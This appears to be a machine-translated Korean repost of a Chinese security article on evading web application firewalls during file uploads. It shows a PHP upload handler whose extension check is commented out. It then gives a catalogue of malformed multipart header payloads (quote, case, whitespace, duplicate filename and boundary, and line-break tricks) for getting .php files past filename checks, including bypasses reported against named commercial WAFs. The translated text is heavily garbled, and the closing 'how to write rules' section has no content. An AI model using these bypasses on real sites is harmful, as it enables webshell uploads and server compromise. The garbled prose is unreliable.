파일 업로드 와 WAF 공격 및 방어
1. 머리말
본 논문 의 테스트 환경 은 모두
언어 및 웹 서버 와 관련 된 특성 이 있 습 니 다. 문제 가 있 는 부분 은 지적 해 주 십시오.
2. 파일 업로드 의 특징
먼저 파일 업로드 의 특징 을 알 아 보고 이 파일 업로드 코드 의 HTTP 요청 을 캡 처 합 니 다.
upload.php
if(isset($_POST['submit_x'])){
$upfile = $_FILES['filename']['name']; $tempfile = $_FILES['filename']['tmp_name']; $ext = trim(get_extension($upfile)); // if(in_array($ext,array('xxx'))){ die('Warning! File type error..'); } $savefile = 'upload/' . $upfile; if(move_uploaded_file($tempfile, $savefile)){ die('Upload success! FileName: '.$savefile); }else{ die('Upload failed..'); } } // , function get_extension($file){ return strtolower(substr($file, strrpos($file, '.')+1)); } ?>
청구 하 다.
POST /upload.php HTTP/1.1
Host: localhost
Content-Length: 274 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2 Connection: close ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="file_x"; filename="xx.php" ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryuKS18BporicXJfTx--
그 중에서 특징 을 가 져 오 는 것 은:
multipart/form-data
(이 요청 은 파일 업로드 요청 임 을 나타 낸다) --
를 더 한 것 이다. 마지막 표지 가 끝 난 boundary --
(테스트 시 마지막 줄 의 boundary 를 삭제 해도 업로드 에 성공 합 니 다) 악성 파일 이 올 라 오 는 것 을 막 기 위해 WAF 를 직접 쓴다 면 생각해 보 자.당신 은 어떻게 방어 해 야 합 니까?
현재 시중 에서 흔히 볼 수 있 는 것 은 파일 이름 을 해석 하 는 것 이 고, 소수의 WAF 는 장정 과 같은 파일 내용 을 해석 하 는 것 이다.아래 내용 은 모두 파일 이름 을 기반 으로 해 석 됩 니 다.
대략적인 절 차 는 다음 과 같다.
Content-Type
값 중 boundary 값 가 져 오기 lua - resty - upload 이 코드 는 유지 되 고 있 지만 내용 만 가 져 왔 을 뿐 파일 이름 은 스스로 해석 해 야 합 니 다.
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php"
Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
되돌아오다
read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]]
read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]] read: ["body",""] read: ["part_end"] read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]] read: ["body","upload"] read: ["part_end"] read: ["eof"] read: ["eof"]
4. 돌아 가기
파일 이름 을 가 져 오 는 곳 은
Content-Disposition: form-data; name="file_x"; filename="xx.php"
과 Content - Type 에 있 기 때문에 돌아 가 는 곳 도 이 두 곳 에 있 습 니 다.4.1 따옴표 빼 기
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php
4.2 작은 따옴표 가 작은 따옴표 로 변 한다.
Content-Disposition: form-data; name='file_x'; filename='xx.php'
작은 따옴표, 작은 따옴표, 모두 업로드 할 수 있 습 니 다.
4.3 대소 문자
이 세 개의 고정된 문자열 을 대소 문자 로 변환 합 니 다.
예 를 들 어 name 을 Name 으로, Content - Disposition 을 content - disposition 으로 변환 합 니 다.2 년 전 안전 개 를 피해 올 라 왔 는데 지금 은 어 떨 지 모 르 겠 어 요.
4.4 스페이스 바
네
:
;
=
빈 칸 을 1 개 이상 추가 하 였 으 나, 테스트 는 filename 만 =
앞 에 빈 칸 을 추가 하여 업로드 에 실 패 했 습 니 다.filename = 뒤에 빈 칸 을 추가 하면 2017 년 10 월 04 일 까지 한 방패 WAF 를 돌 수 있 습 니 다.
4.5 Content - Disposition 값 제거 또는 수정
어떤 WAF 는 분석 할 때
Content-Disposition
값 이 반드시 form-data
이 라 고 생각 하여 우회 했다.2 년 전 안전 개 를 피해 올 라 왔 는데 지금 은 어 떨 지 모 르 겠 어 요.Content-Disposition: name='file_x'; filename='xx.php'
4.6 name 과 filename 의 순 서 를 교환 합 니 다.
Content - Disposition 이 맨 앞 에 있어 야 하기 때문에 name 과 filename 의 순서 만 교환 할 수 있 습 니 다.
어떤 WAF 는 name 이 앞 에 있 고 filename 이 뒤에 있 기 때문에 아래 자세 가 Bypass 로 이 어 질 수 있 습 니 다.
Content-Disposition: form-data; filename="xx.php"; name=file_x
4.7 개 이상 의 boundary
마지막 으로 올 린 파일 은 test. txt 가 아 닌 test. php 이지 만 첫 번 째 만 가 져 오 면 Bypass 입 니 다.
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
4.8 개 이상 의 filename
최종 업로드 에 성공 한 파일 이름 은 test. php 입 니 다.하지만 파일 이름 을 분석 할 때 첫 번 째 로 해 석 됩 니 다.정규 기본 값 은 첫 번 째 와 일치 합 니 다.
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
4.9 여 개의 분점
파일 을 분석 할 때 파일 이름 을 분석 하지 못 해 돌아 갈 수 있 습 니 다.
Content-Disposition: form-data; name="file_x";;; filename="test.php"
4.10 multipart/form-DATA
이런 우회 가 매우 적 을 것 이 고 대부분 대소 문 자 를 소홀히 할 것 이다.php 와 자바 모두 지원 합 니 다.
Content-Type: multipart/form-DATA
4.11 Header 는 boundary 앞에서 임의의 문 자 를 추가 합 니 다.
이것 은 단지 PHP 가 매우 가죽 이 라 고 말 할 수 있 을 뿐, 이것 은 모두 지지 할 수 있다.해 보면 자바 가 틀 릴 거 야.
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
4.12 filename 줄 바 꾸 기
PHP 지원, 자바 지원 하지 않 습 니 다.2017 년 10 월 18 일 까지 이 방법 은 어떤 방 패 를 돌아 갈 수 있다.
Content-Disposition: form-data; name="file_x"; file
name="test.php"
이런 PHP 도 지원 합 니 다.
fi
lename
4.13 name 과 filename 에 임의의 문자열 추가
PHP 업로드 성공, 자바 업로드 실패.
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
4.14 기타
다른 시스템 특성 을 이용 한 것 은 묘사 하지 않 는 것 이지 본 고의 중점 이 아니다.관심 있 으 시 면 제 Waf Bypass 의 길 (upload 편) 을 보 세 요.
5. 사례 테스트
5.1 모 방패
한 방패 WAF 가 악성 파일 업로드 에 대한 차단 을 테스트 했다.방법 이 비교적 거 칠 고 판단 은 다음 과 같다.
Content-Disposition:
문자열 테스트:
curl -v -d "Content-Disposition:filename=xx.php;" yq.aliyun.com
가로막다이런 방식 은 확실히 차단 상황 이 있다.그러나 2017 년 10 월 04 일 까지 한 방패 의 업 로드 는
filename=
뒤에 빈 칸 을 추가 해 돌아 갈 수 있다.POC: Content-Disposition: form-data; name="file_x"; filename= "xx.php";
밑 에 이런 것 도 돌아 갈 수 있어 요.
Content-Disposition: form-data; name="file_x"; file
name="test.php"
5.2 ucloud
먼저 UCloud WAF 를 사용 한 사이트 테스트 를 찾 아 보 세 요.
가로막다
Content-Disposition: form-data; name="file_x";filename="xx.php"
form - data 를 지우 고 돌아 가기
Content-Disposition: name="file_x";filename="xx.php"
다른 건 테스트 안 해 볼 게..
6. How to Play
이렇게 많은 것 을 보 았 는데, 그 규칙 은 도대체 어떻게 써 야 합 니까?제 개인 적 인 생각 은 다음 과 같 습 니 다.
이것 은 단지 제 개인 적 인 생각 일 뿐 입 니 다. 더 좋 은 생각 이 있다 면 토론 을 교류 하 는 것 을 환영 합 니 다.
7. Reference
다음으로 전송:https://www.cnblogs.com/ichunqiu/p/9183955.html
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.